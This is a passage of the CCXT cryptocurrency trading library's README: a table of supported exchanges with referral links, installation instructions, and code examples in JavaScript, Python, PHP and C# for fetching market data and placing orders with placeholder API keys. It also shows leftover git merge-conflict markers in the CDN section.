[Binance](https://accounts.binance.com/en/register?ref=D7YA7CLY) | [](https://binance-docs.github.io/apidocs/spot/en) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://accounts.binance.com/en/register?ref=D7YA7CLY) | binancecoinm | [Binance COIN-M](https://accounts.binance.com/en/register?ref=D7YA7CLY) | [](https://binance-docs.github.io/apidocs/delivery/en/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://www.binance.us/?ref=35005074) | binanceus | [Binance US](https://www.binance.us/?ref=35005074) | [](https://github.com/binance-us/binance-official-api-docs) | | [](https://ccxt.pro) | | [](https://accounts.binance.com/en/register?ref=D7YA7CLY) | binanceusdm | [Binance USDⓈ-M](https://accounts.binance.com/en/register?ref=D7YA7CLY) | [](https://binance-docs.github.io/apidocs/futures/en/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://bingx.com/invite/OHETOM) | bingx | [BingX](https://bingx.com/invite/OHETOM) | [](https://bingx-api.github.io/docs/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://bit2c.co.il/Aff/63bfed10-e359-420c-ab5a-ad368dab0baf) | bit2c | [Bit2C](https://bit2c.co.il/Aff/63bfed10-e359-420c-ab5a-ad368dab0baf) | [](https://www.bit2c.co.il/home/api) | | | | [](https://bitbank.cc/) | bitbank | [bitbank](https://bitbank.cc/) | [](https://docs.bitbank.cc/) | | | | [](https://ref.bitbns.com/1090961) | bitbns | [Bitbns](https://ref.bitbns.com/1090961) | [](https://bitbns.com/trade/#/api-trading/) | | | | [](https://www.bitfinex.com/?refcode=P61eYxFL) | bitfinex | [Bitfinex](https://www.bitfinex.com/?refcode=P61eYxFL) | [](https://docs.bitfinex.com/v1/docs) | | [](https://ccxt.pro) | | [](https://www.bitfinex.com) | bitfinex2 | [Bitfinex](https://www.bitfinex.com) | [](https://docs.bitfinex.com/v2/docs/) | | [](https://ccxt.pro) | | [](https://bitflyer.com) | bitflyer | [bitFlyer](https://bitflyer.com) | [](https://lightning.bitflyer.com/docs?lang=en) | | | | [](https://www.bitforex.com/en/invitationRegister?inviterId=1867438) | bitforex | [Bitforex](https://www.bitforex.com/en/invitationRegister?inviterId=1867438) | [](https://github.com/githubdev2020/API_Doc_en/wiki) | | | | [](https://www.bitget.com/expressly?languageType=0&channelCode=ccxt&vipCode=tg9j) | bitget | [Bitget](https://www.bitget.com/expressly?languageType=0&channelCode=ccxt&vipCode=tg9j) | [](https://bitgetlimited.github.io/apidoc/en/mix) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://www.bithumb.com) | bithumb | [Bithumb](https://www.bithumb.com) | [](https://apidocs.bithumb.com) | | | | [](http://www.bitmart.com/?r=rQCFLh) | bitmart | [BitMart](http://www.bitmart.com/?r=rQCFLh) | [](https://developer-pro.bitmart.com/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://www.bitmex.com/register/upZpOX) | bitmex | [BitMEX](https://www.bitmex.com/register/upZpOX) | [](https://www.bitmex.com/app/apiOverview) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://www.bitopro.com) | bitopro | [BitoPro](https://www.bitopro.com) | [](https://github.com/bitoex/bitopro-offical-api-docs/blob/master/v3-1/rest-1/rest.md) | | [](https://ccxt.pro) | | [](https://www.bitpanda.com/en/pro) | bitpanda | [Bitpanda Pro](https://www.bitpanda.com/en/pro) | [](https://developers.bitpanda.com/exchange/) | | [](https://ccxt.pro) | | [](https://www.bitrue.com/activity/task/task-landing?inviteCode=EZWETQE&cn=900000) | bitrue | [Bitrue](https://www.bitrue.com/activity/task/task-landing?inviteCode=EZWETQE&cn=900000) | [](https://github.com/Bitrue-exchange/bitrue-official-api-docs) | | [](https://ccxt.pro) | | [](https://bitso.com/?ref=itej) | bitso | [Bitso](https://bitso.com/?ref=itej) | [](https://bitso.com/api_info) | | | | [](https://www.bitstamp.net) | bitstamp | [Bitstamp](https://www.bitstamp.net) | [](https://www.bitstamp.net/api) | | [](https://ccxt.pro) | | [](https://www.bitstamp.net) | bitstamp1 | [Bitstamp](https://www.bitstamp.net) | [](https://www.bitstamp.net/api) | | | | [](https://bittrex.com/Account/Register?referralCode=1ZE-G0G-M3B) | bittrex | [Bittrex](https://bittrex.com/Account/Register?referralCode=1ZE-G0G-M3B) | [](https://bittrex.github.io/api/v3) | | [](https://ccxt.pro) | | [](https://bitvavo.com/?a=24F34952F7) | bitvavo | [Bitvavo](https://bitvavo.com/?a=24F34952F7) | [](https://docs.bitvavo.com/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://www.bkex.com/) | bkex | [BKEX](https://www.bkex.com/) | [](https://bkexapi.github.io/docs/api_en.htm) | | | | [](https://bl3p.eu) | bl3p | [BL3P](https://bl3p.eu) | [](https://github.com/BitonicNL/bl3p-api/tree/master/docs) | | | | [](https://blockchain.com) | blockchaincom | [Blockchain.com](https://blockchain.com) | [](https://api.blockchain.com/v3) | | [](https://ccxt.pro) | | [](https://btc-alpha.com/?r=123788) | btcalpha | [BTC-Alpha](https://btc-alpha.com/?r=123788) | [](https://btc-alpha.github.io/api-docs) | | | | [](https://www.btcbox.co.jp/) | btcbox | [BtcBox](https://www.btcbox.co.jp/) | [](https://blog.btcbox.jp/en/archives/8762) | | | | [](https://btcmarkets.net) | btcmarkets | [BTC Markets](https://btcmarkets.net) | [](https://api.btcmarkets.net/doc/v3) | | | | [](https://btc-trade.com.ua/registration/22689) | btctradeua | [BTC Trade UA](https://btc-trade.com.ua/registration/22689) | [](https://docs.google.com/document/d/1ocYA0yMy_RXd561sfG3qEPZ80kyll36HUxvCRe5GbhE/edit) | | | | [](https://www.btcturk.com) | btcturk | [BTCTurk](https://www.btcturk.com) | [](https://github.com/BTCTrader/broker-api-docs) | | | | [](https://www.bybit.com/register?affiliate_id=35953) | bybit | [Bybit](https://www.bybit.com/register?affiliate_id=35953) | [](https://bybit-exchange.github.io/docs/inverse/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://cex.io/r/0/up105393824/0/) | cex | [CEX.IO](https://cex.io/r/0/up105393824/0/) | [](https://cex.io/cex-api) | | [](https://ccxt.pro) | | [](https://www.coinbase.com/join/58cbe25a355148797479dbd2) | coinbase | [Coinbase](https://www.coinbase.com/join/58cbe25a355148797479dbd2) | [](https://developers.coinbase.com/api/v2) | | [](https://ccxt.pro) | | [](https://exchange.coinbase.com) | coinbaseprime | [Coinbase Prime](https://exchange.coinbase.com) | [](https://docs.exchange.coinbase.com) | | [](https://ccxt.pro) | | [](https://pro.coinbase.com/) | coinbasepro | [Coinbase Pro](https://pro.coinbase.com/) | [](https://docs.pro.coinbase.com) | | [](https://ccxt.pro) | | [](https://coincheck.com) | coincheck | [coincheck](https://coincheck.com) | [](https://coincheck.com/documents/exchange/api) | | | | [](https://www.coinex.com/register?refer_code=yw5fz) | coinex | [CoinEx](https://www.coinex.com/register?refer_code=yw5fz) | [](https://github.com/coinexcom/coinex_exchange_api/wiki) | | [](https://ccxt.pro) | | [](https://coinfalcon.com/?ref=CFJSVGTUPASB) | coinfalcon | [CoinFalcon](https://coinfalcon.com/?ref=CFJSVGTUPASB) | [](https://docs.coinfalcon.com) | | | | [](https://coinmate.io?referral=YTFkM1RsOWFObVpmY1ZjMGREQmpTRnBsWjJJNVp3PT0) | coinmate | [CoinMate](https://coinmate.io?referral=YTFkM1RsOWFObVpmY1ZjMGREQmpTRnBsWjJJNVp3PT0) | [](https://coinmate.docs.apiary.io) | | | | [](https://coinone.co.kr) | coinone | [CoinOne](https://coinone.co.kr) | [](https://doc.coinone.co.kr) | | | | [](https://coins.ph/) | coinsph | [Coins.ph](https://coins.ph/) | [](https://coins-docs.github.io/rest-api) | | | | [](https://www.coinspot.com.au/register?code=PJURCU) | coinspot | [CoinSpot](https://www.coinspot.com.au/register?code=PJURCU) | [](https://www.coinspot.com.au/api) | | | | [](https://crypto.com/exch/5835vstech) | cryptocom | [Crypto.com](https://crypto.com/exch/5835vstech) | [](https://exchange-docs.crypto.com/exchange/v1/rest-ws/index.html) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://currency.com/trading/signup?c=362jaimv&pid=referral) | currencycom | [Currency.com](https://currency.com/trading/signup?c=362jaimv&pid=referral) | [](https://currency.com/api) | | [](https://ccxt.pro) | | [](https://www.delta.exchange/app/signup/?code=IULYNB) | delta | [Delta Exchange](https://www.delta.exchange/app/signup/?code=IULYNB) | [](https://docs.delta.exchange) | | | | [](https://www.deribit.com/reg-1189.4038) | deribit | [Deribit](https://www.deribit.com/reg-1189.4038) | [](https://docs.deribit.com/v2) | | [](https://ccxt.pro) | | [](https://www.digifinex.com/en-ww/from/DhOzBg?channelCode=ljaUPp) | digifinex | [DigiFinex](https://www.digifinex.com/en-ww/from/DhOzBg?channelCode=ljaUPp) | [](https://docs.digifinex.com) | | | | [](https://exmo.me/?ref=131685) | exmo | [EXMO](https://exmo.me/?ref=131685) | [](https://exmo.me/en/api_doc?ref=131685) | | | | [](https://fmfw.io/referral/da948b21d6c92d69) | fmfwio | [FMFW.io](https://fmfw.io/referral/da948b21d6c92d69) | [](https://api.fmfw.io/) | | | | [](https://www.gate.io/ref/2436035) | gate | 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[](https://ccxt.pro) | | [](https://www.kucoin.com/ucenter/signup?rcode=E5wkqe) | kucoin | [KuCoin](https://www.kucoin.com/ucenter/signup?rcode=E5wkqe) | [](https://docs.kucoin.com) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://futures.kucoin.com/?rcode=E5wkqe) | kucoinfutures | [KuCoin Futures](https://futures.kucoin.com/?rcode=E5wkqe) | [](https://docs.kucoin.com/futures) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://kuna.io?r=kunaid-gvfihe8az7o4) | kuna | [Kuna](https://kuna.io?r=kunaid-gvfihe8az7o4) | [](https://kuna.io/documents/api) | | | | [](https://latoken.com/invite?r=mvgp2djk) | latoken | [Latoken](https://latoken.com/invite?r=mvgp2djk) | [](https://api.latoken.com) | | | | [](https://www.lbank.info/invitevip?icode=7QCY) | lbank | [LBank](https://www.lbank.info/invitevip?icode=7QCY) | [](https://github.com/LBank-exchange/lbank-official-api-docs) | | | | [](https://www.lbank.info/invitevip?icode=7QCY) | lbank2 | [LBank](https://www.lbank.info/invitevip?icode=7QCY) | [](https://www.lbank.info/en-US/docs/index.html) | | | | [](https://www.luno.com/invite/44893A) | luno | [luno](https://www.luno.com/invite/44893A) | [](https://www.luno.com/en/api) | | [](https://ccxt.pro) | | [](https://www.lykke.com) | lykke | [Lykke](https://www.lykke.com) | [](https://hft-apiv2.lykke.com/swagger/ui/index.html) | | | | [](https://www.mercadobitcoin.com.br) | mercado | [Mercado Bitcoin](https://www.mercadobitcoin.com.br) | [](https://www.mercadobitcoin.com.br/api-doc) | | | | [](https://m.mexc.com/auth/signup?inviteCode=1FQ1G) | mexc | [MEXC Global](https://m.mexc.com/auth/signup?inviteCode=1FQ1G) | [](https://mxcdevelop.github.io/apidocs/spot_v3_en/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://one.ndax.io/bfQiSL) | ndax | [NDAX](https://one.ndax.io/bfQiSL) | [](https://apidoc.ndax.io/) | | [](https://ccxt.pro) | | [](https://www.novadax.com.br/?s=ccxt) | novadax | [NovaDAX](https://www.novadax.com.br/?s=ccxt) | [](https://doc.novadax.com/pt-BR/) | | | | [](https://oceanex.pro/signup?referral=VE24QX) | oceanex | [OceanEx](https://oceanex.pro/signup?referral=VE24QX) | [](https://api.oceanex.pro/doc/v1) | | | | [](https://www.okcoin.com/account/register?flag=activity&channelId=600001513) | okcoin | [OKCoin](https://www.okcoin.com/account/register?flag=activity&channelId=600001513) | [](https://www.okcoin.com/docs/en/) | | [](https://ccxt.pro) | | [](https://www.okx.com/activities/ccxt-trade-and-earn?channelid=CCXT2023) | okx | [OKX](https://www.okx.com/activities/ccxt-trade-and-earn?channelid=CCXT2023) | [](https://www.okx.com/docs-v5/en/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://www.paymium.com/page/sign-up?referral=eDAzPoRQFMvaAB8sf-qj) | paymium | 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[](https://timex.io/?refcode=1x27vNkTbP1uwkCck) | timex | [TimeX](https://timex.io/?refcode=1x27vNkTbP1uwkCck) | [](https://docs.timex.io) | | | | [](https://tokocrypto.com) | tokocrypto | [Tokocrypto](https://tokocrypto.com) | [](https://www.tokocrypto.com/apidocs/) | | | | [](https://upbit.com) | upbit | [Upbit](https://upbit.com) | [](https://docs.upbit.com/docs/%EC%9A%94%EC%B2%AD-%EC%88%98-%EC%A0%9C%ED%95%9C) | | [](https://ccxt.pro) | | [](https://wx.network) | wavesexchange | [Waves.Exchange](https://wx.network) | [](https://docs.wx.network) | [](https://github.com/ccxt/ccxt/wiki/Certification) | | | [](https://wazirx.com/invite/k7rrnks5) | wazirx | [WazirX](https://wazirx.com/invite/k7rrnks5) | [](https://docs.wazirx.com/#public-rest-api-for-wazirx) | | [](https://ccxt.pro) | | [](https://whitebit.com/referral/d9bdf40e-28f2-4b52-b2f9-cd1415d82963) | whitebit | [WhiteBit](https://whitebit.com/referral/d9bdf40e-28f2-4b52-b2f9-cd1415d82963) | [](https://github.com/whitebit-exchange/api-docs) | | [](https://ccxt.pro) | | [](https://referral.woo.org/BAJS6oNmZb3vi3RGA) | woo | [WOO X](https://referral.woo.org/BAJS6oNmZb3vi3RGA) | [](https://docs.woo.org/) | [](https://github.com/ccxt/ccxt/wiki/Certification) | [](https://ccxt.pro) | | [](https://www.yobit.net) | yobit | [YoBit](https://www.yobit.net) | [](https://www.yobit.net/en/api/) | | | | [](https://zaif.jp) | zaif | [Zaif](https://zaif.jp) | [](https://techbureau-api-document.readthedocs.io/ja/latest/index.html) | | | | [](https://auth.zondaglobal.com/ref/jHlbB4mIkdS1) | zonda | [Zonda](https://auth.zondaglobal.com/ref/jHlbB4mIkdS1) | [](https://docs.zonda.exchange/) | | | The list above is updated frequently, new crypto markets, exchanges, bug fixes, and API endpoints are introduced on a regular basis. See the [Manual](https://docs.ccxt.com/#/README) for more details. If you can't find a cryptocurrency exchange in the list above and want it to be added, post a link to it by opening an issue here on GitHub or send us an email. The library is under [MIT license](https://github.com/ccxt/ccxt/blob/master/LICENSE.txt), that means it's absolutely free for any developer to build commercial and opensource software on top of it, but use it at your own risk with no warranties, as is. --- ## Install The easiest way to install the CCXT library is to use a package manager: - [ccxt in **NPM**](https://www.npmjs.com/package/ccxt) (JavaScript / Node v7.6+) - [ccxt in **PyPI**](https://pypi.python.org/pypi/ccxt) (Python 3.5.3+) - [ccxt in **Packagist/Composer**](https://packagist.org/packages/ccxt/ccxt) (PHP 7.0+) - [ccxt in **Nugget**](https://www.nuget.org/packages/ccxt) (netstandard 2.0) This library is shipped as an all-in-one module implementation with minimalistic dependencies and requirements: - [js/](https://github.com/ccxt/ccxt/blob/master/js/) in JavaScript - [python/](https://github.com/ccxt/ccxt/blob/master/python/) in Python (generated from JS) - [php/](https://github.com/ccxt/ccxt/blob/master/php/) in PHP (generated from JS) You can also clone it into your project directory from [ccxt GitHub repository](https://github.com/ccxt/ccxt): ```shell git clone https://github.com/ccxt/ccxt.git # including 1GB of commit history # or git clone https://github.com/ccxt/ccxt.git --depth 1 # avoid downloading 1GB of commit history ``` ### JavaScript (NPM) JavaScript version of CCXT works in both Node and web browsers. Requires ES6 and `async/await` syntax support (Node 7.6.0+). When compiling with Webpack and Babel, make sure it is [not excluded](https://github.com/ccxt/ccxt/issues/225#issuecomment-331905178) in your `babel-loader` config. [ccxt in **NPM**](https://www.npmjs.com/package/ccxt) ```shell npm install ccxt ``` ```JavaScript //cjs var ccxt = require ('ccxt') console.log (ccxt.exchanges) // print all available exchanges ``` ```Javascript //esm import {version, exchanges} from 'ccxt'; console.log(version, Object.keys(exchanges)); ``` ### JavaScript (for use with the `<script>` tag): All-in-one browser bundle (dependencies included), served from a CDN of your choice: <<<<<<< HEAD * jsDelivr: https://cdn.jsdelivr.net/npm/[email protected]/dist/ccxt.browser.js * unpkg: https://unpkg.com/[email protected]/dist/ccxt.browser.js ======= * jsDelivr: https://cdn.jsdelivr.net/npm/[email protected]/dist/ccxt.browser.js * unpkg: https://unpkg.com/[email protected]/dist/ccxt.browser.js >>>>>>> e74b18a3a8a8cbcfe45ce4c1d32b9c03d4fae41c CDNs are not updated in real-time and may have delays. Defaulting to the most recent version without specifying the version number is not recommended. Please, keep in mind that we are not responsible for the correct operation of those CDN servers. ```HTML <<<<<<< HEAD <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/[email protected]/dist/ccxt.browser.js"></script> ======= <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/[email protected]/dist/ccxt.browser.js"></script> >>>>>>> e74b18a3a8a8cbcfe45ce4c1d32b9c03d4fae41c ``` Creates a global `ccxt` object: ```JavaScript console.log (ccxt.exchanges) // print all available exchanges ``` ### Python [ccxt in **PyPI**](https://pypi.python.org/pypi/ccxt) ```shell pip install ccxt ``` ```Python import ccxt print(ccxt.exchanges) # print a list of all available exchange classes ``` The library supports concurrent asynchronous mode with asyncio and async/await in Python 3.5.3+ ```Python import ccxt.async_support as ccxt # link against the asynchronous version of ccxt ``` ### PHP [ccxt in PHP with **Packagist/Composer**](https://packagist.org/packages/ccxt/ccxt) (PHP 7.0+) It requires common PHP modules: - cURL - mbstring (using UTF-8 is highly recommended) - PCRE - iconv - gmp (this is a built-in extension as of PHP 7.2+) ```PHP include "ccxt.php"; var_dump (\ccxt\Exchange::$exchanges); // print a list of all available exchange classes ``` The library supports concurrent asynchronous mode using tools from [RecoilPHP](https://github.com/recoilphp/recoil) and [ReactPHP](https://reactphp.org/) in PHP 7.1+. Read the [Manual](https://docs.ccxt.com/#/README) for more details. ### Dotnet/C# [Beta] [ccxt in C# with **Nugget**](https://www.nuget.org/packages/ccxt) (netstandard 2.0) ```c# using ccxt; Console.WriteLine(ccxt.Exchanges) // check this later ``` ### Docker You can get CCXT installed in a container along with all the supported languages and dependencies. This may be useful if you want to contribute to CCXT (e.g. run the build scripts and tests — please see the [Contributing](https://github.com/ccxt/ccxt/blob/master/CONTRIBUTING.md) document for the details on that). Using `docker-compose` (in the cloned CCXT repository): ```shell docker-compose run --rm ccxt ``` You don't need the Docker image if you're not going to develop CCXT. If you just want to use CCXT – just install it as a regular package into your project. --- ## Documentation Read the [Manual](https://docs.ccxt.com/#/README) for more details. ## Usage ### Intro The CCXT library consists of a public part and a private part. Anyone can use the public part immediately after installation. Public APIs provide unrestricted access to public information for all exchange markets without the need to register a user account or have an API key. Public APIs include the following: - market data - instruments/trading pairs - price feeds (exchange rates) - order books - trade history - tickers - OHLC(V) for charting - other public endpoints In order to trade with private APIs you need to obtain API keys from an exchange's website. It usually means signing up to the exchange and creating API keys for your account. Some exchanges require personal info or identification. Sometimes verification may be necessary as well. In this case you will need to register yourself, this library will not create accounts or API keys for you. Some exchanges expose API endpoints for registering an account, but most exchanges don't. You will have to sign up and create API keys on their websites. Private APIs allow the following: - manage personal account info - query account balances - trade by making market and limit orders - deposit and withdraw fiat and crypto funds - query personal orders - get ledger history - transfer funds between accounts - use merchant services This library implements full public and private REST APIs for all exchanges. WebSocket and FIX implementations in JavaScript, PHP, Python are available in [CCXT Pro](https://ccxt.pro), which is a professional addon to CCXT with support for WebSocket streams. The CCXT library supports both camelcase notation (preferred in JavaScript) and underscore notation (preferred in Python and PHP), therefore all methods can be called in either notation or coding style in any language. ```JavaScript // both of these notations work in JavaScript/Python/PHP exchange.methodName () // camelcase pseudocode exchange.method_name () // underscore pseudocode ``` Read the [Manual](https://docs.ccxt.com/#/README) for more details. ### JavaScript **CCXT now supports ESM and CJS modules** #### CJS ```JavaScript // cjs example 'use strict'; const ccxt = require ('ccxt'); (async function () { let kraken = new ccxt.kraken () let bitfinex = new ccxt.bitfinex ({ verbose: true }) let huobipro = new ccxt.huobipro () let okcoinusd = new ccxt.okcoin ({ apiKey: 'YOUR_PUBLIC_API_KEY', secret: 'YOUR_SECRET_PRIVATE_KEY', }) const exchangeId = 'binance' , exchangeClass = ccxt[exchangeId] , exchange = new exchangeClass ({ 'apiKey': 'YOUR_API_KEY', 'secret': 'YOUR_SECRET', }) console.log (kraken.id, await kraken.loadMarkets ()) console.log (bitfinex.id, await bitfinex.loadMarkets ()) console.log (huobipro.id, await huobipro.loadMarkets ()) console.log (kraken.id, await kraken.fetchOrderBook (kraken.symbols[0])) console.log (bitfinex.id, await bitfinex.fetchTicker ('BTC/USD')) console.log (huobipro.id, await huobipro.fetchTrades ('ETH/USDT')) console.log (okcoinusd.id, await okcoinusd.fetchBalance ()) // sell 1 BTC/USD for market price, sell a bitcoin for dollars immediately console.log (okcoinusd.id, await okcoinusd.createMarketSellOrder ('BTC/USD', 1)) // buy 1 BTC/USD for $2500, you pay $2500 and receive ฿1 when the order is closed console.log (okcoinusd.id, await okcoinusd.createLimitBuyOrder ('BTC/USD', 1, 2500.00)) // pass/redefine custom exchange-specific order params: type, amount, price or whatever // use a custom order type bitfinex.createLimitSellOrder ('BTC/USD', 1, 10, { 'type': 'trailing-stop' }) }) (); ``` #### ESM ```Javascript //esm example import {version, binance} from 'ccxt'; console.log(version); const exchange = new binance(); const ticker = await exchange.fetchTicker('BTC/USDT'); console.log(ticker); ``` ### Python ```Python # coding=utf-8 import ccxt hitbtc = ccxt.hitbtc({'verbose': True}) bitmex = ccxt.bitmex() huobipro = ccxt.huobipro() exmo = ccxt.exmo({ 'apiKey': 'YOUR_PUBLIC_API_KEY', 'secret': 'YOUR_SECRET_PRIVATE_KEY', }) kraken = ccxt.kraken({ 'apiKey': 'YOUR_PUBLIC_API_KEY', 'secret': 'YOUR_SECRET_PRIVATE_KEY', }) exchange_id = 'binance' exchange_class = getattr(ccxt, exchange_id) exchange = exchange_class({ 'apiKey': 'YOUR_API_KEY', 'secret': 'YOUR_SECRET', }) hitbtc_markets = hitbtc.load_markets() print(hitbtc.id, hitbtc_markets) print(bitmex.id, bitmex.load_markets()) print(huobipro.id, huobipro.load_markets()) print(hitbtc.fetch_order_book(hitbtc.symbols[0])) print(bitmex.fetch_ticker('BTC/USD')) print(huobipro.fetch_trades('LTC/USDT')) print(exmo.fetch_balance()) # sell one ฿ for market price and receive $ right now print(exmo.id, exmo.create_market_sell_order('BTC/USD', 1)) # limit buy BTC/EUR, you pay €2500 and receive ฿1 when the order is closed print(exmo.id, exmo.create_limit_buy_order('BTC/EUR', 1, 2500.00)) # pass/redefine custom exchange-specific order params: type, amount, price, flags, etc... kraken.create_market_buy_order('BTC/USD', 1, {'trading_agreement': 'agree'}) ``` ### PHP ```PHP include 'ccxt.php'; $poloniex = new \ccxt\poloniex (); $bittrex = new \ccxt\bittrex (array ('verbose' => true)); $quoinex = new \ccxt\quoinex (); $zaif = new \ccxt\zaif (array ( 'apiKey' => 'YOUR_PUBLIC_API_KEY', 'secret' => 'YOUR_SECRET_PRIVATE_KEY', )); $hitbtc = new \ccxt\hitbtc (array ( 'apiKey' => 'YOUR_PUBLIC_API_KEY', 'secret' => 'YOUR_SECRET_PRIVATE_KEY', )); $exchange_id = 'binance'; $exchange_class = "\\ccxt\\$exchange_id"; $exchange = new $exchange_class (array ( 'apiKey' => 'YOUR_API_KEY', 'secret' => 'YOUR_SECRET', )); $poloniex_markets = $poloniex->load_markets (); var_dump ($poloniex_markets); var_dump ($bittrex->load_markets ()); var_dump ($quoinex->load_markets ()); var_dump ($poloniex->fetch_order_book ($poloniex->symbols[0])); var_dump ($bittrex->fetch_trades ('BTC/USD')); var_dump ($quoinex->fetch_ticker ('ETH/EUR')); var_dump ($zaif->fetch_ticker ('BTC/JPY')); var_dump ($zaif->fetch_balance ()); // sell 1 BTC/JPY for market price, you pay ¥ and receive ฿ immediately var_dump ($zaif->id, $zaif->create_market_sell_order ('BTC/JPY', 1)); // buy BTC/JPY, you receive ฿1 for ¥285000 when the order closes var_dump ($zaif->id, $zaif->create_limit_buy_order ('BTC/JPY', 1, 285000)); // set a custom user-defined id to your order $hitbtc->create_order ('BTC/USD', 'limit', 'buy', 1, 3000, array ('clientOrderId' => '123')); ``` ### C# [Beta] ```C# using ccxt; // importing ccxt namespace Project; class Project { public async static Task CreateOrder() { var exchange = new Binance(); exchange.apiKey = "my api key"; exchange.secret = "my secret"; var order = await exchange.CreateOrder("BTC/USDT", "limit", "buy", 1, 50); Console.WriteLine("Placed Order, order id: " + order.id); } } ``` ## Contributing Please read the [CONTRIBUTING](https://github.com/ccxt/ccxt/blob/master/CONTRIBUTING.md) document before making changes that you would like adopted in the code. Also, read the [Manual](https://docs.ccxt.com/#/README) for more details. ## Support Developer Team We are investing a significant amount of time into the development of this library. If CCXT made your life easier and you want to help us improve it further, or if you want to speed up development of new features and exchanges, please support us with a tip. We appreciate all contributions! ### Sponsors Support this project by becoming a sponsor. Your logo will show up here with a link to your website. [[Become a sponsor](https://opencollective.com/ccxt#sponsor)] <a href="https://opencollective.com/ccxt/tiers/sponsor/0/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/sponsor/0/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/sponsor/1/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/sponsor/1/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/sponsor/2/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/sponsor/2/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/sponsor/3/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/sponsor/3/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/sponsor/4/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/sponsor/4/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/sponsor/5/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/sponsor/5/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/sponsor/6/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/sponsor/6/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/sponsor/7/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/sponsor/7/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/sponsor/8/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/sponsor/8/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/sponsor/9/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/sponsor/9/avatar.svg"></a> ### Supporters Support this project by becoming a supporter. Your avatar will show up here with a link to your website. [[Become a supporter](https://opencollective.com/ccxt#supporter)] <a href="https://opencollective.com/ccxt/tiers/supporter/0/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/supporter/0/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/supporter/1/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/supporter/1/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/supporter/2/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/supporter/2/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/supporter/3/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/supporter/3/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/supporter/4/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/supporter/4/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/supporter/5/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/supporter/5/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/supporter/6/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/supporter/6/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/supporter/7/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/supporter/7/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/supporter/8/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/supporter/8/avatar.svg"></a> <a href="https://opencollective.com/ccxt/tiers/supporter/9/website" target="_blank"><img src="https://opencollective.com/ccxt/tiers/supporter/9/avatar.svg"></a> ### Backers Thank you to all our backers! [[Become a backer](https://opencollective.com/ccxt#backer)] <a href="https://opencollective.com/ccxt#backers" target="_blank"><img src="https://opencollective.com/ccxt/tiers/backer.svg?width=890"></a> Thank you! ## Social - [Follow us on Twitter](https://twitter.com/ccxt_official) - [Read our blog on Medium](https://medium.com/@ccxt) - _{[](https://discord.gg/dhzSKYU)} - [CCXT Channel on Telegram](https://t.me/ccxt_announcements) (important announcements) - [CCXT Chat on Telegram](https://t.me/ccxt_chat) (technical support) ## Contact Us For business inquiries: [email protected]

